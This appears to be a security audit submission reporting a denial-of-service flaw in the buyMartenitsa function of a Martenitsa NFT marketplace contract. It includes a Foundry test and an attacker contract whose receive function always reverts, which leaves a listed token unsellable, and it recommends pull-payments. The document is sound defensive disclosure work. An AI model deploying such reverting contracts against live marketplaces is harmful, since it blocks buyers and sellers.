Submission Details
Severity:
[M-01] Mishandling Of Eth in MartenitsaMarketplace::buyMartenitsa prevents buying listed token
Description:
If the seller account were a smart contract that did not implement a payable fallback or receive function, or these functions were included but reverted, the external call above would fail, and execution of the buyMartenitsa function would halt. Therefore, the listed token would never be sold .
Impact:
Token listed can not be sold as expected .
Proof of Concept:
Proof Of Code
place following test into `BaseTest.t.sol`+ import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
+ AttackerContract public attacker;
function setUp() public {
jack = makeAddr("jack");
chasy = makeAddr("chasy");
bob = makeAddr("bob");
producers.push(jack);
producers.push(chasy);
+ attacker = new AttackerContract();
+ producers.push(address(attacker));
at the end of it add attack contract example :
contract AttackerContract is IERC721Receiver {
MartenitsaToken public martenitsaToken;
HealthToken public healthToken;
MartenitsaMarketplace public marketplace;
function attackSetup(
address _martenitsaToken,
address _marketplace
) external {
marketplace = MartenitsaMarketplace(_marketplace);
martenitsaToken = MartenitsaToken(_martenitsaToken);
martenitsaToken.setApprovalForAll(address(marketplace), true);
martenitsaToken.createMartenitsa("ring");
marketplace.listMartenitsaForSale(0, 1 wei);
}
function onERC721Received(
address,
address,
uint256,
bytes memory
) public virtual returns (bytes4) {
return this.onERC721Received.selector;
}
// Implements a `receive` function that always reverts
receive() external payable {
revert();
}
}
Place the following test into MartenitsaMarketplace.t.sol.
function testbuyMartenitsaAttack() public {
attacker.attackSetup(address(martenitsaToken), address(marketplace));
vm.prank(bob);
vm.expectRevert();
marketplace.buyMartenitsa{value: 1 wei}(0);
}
Favor pull-payments over push-payments.
Rewards breakdown
nSLOC
239This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.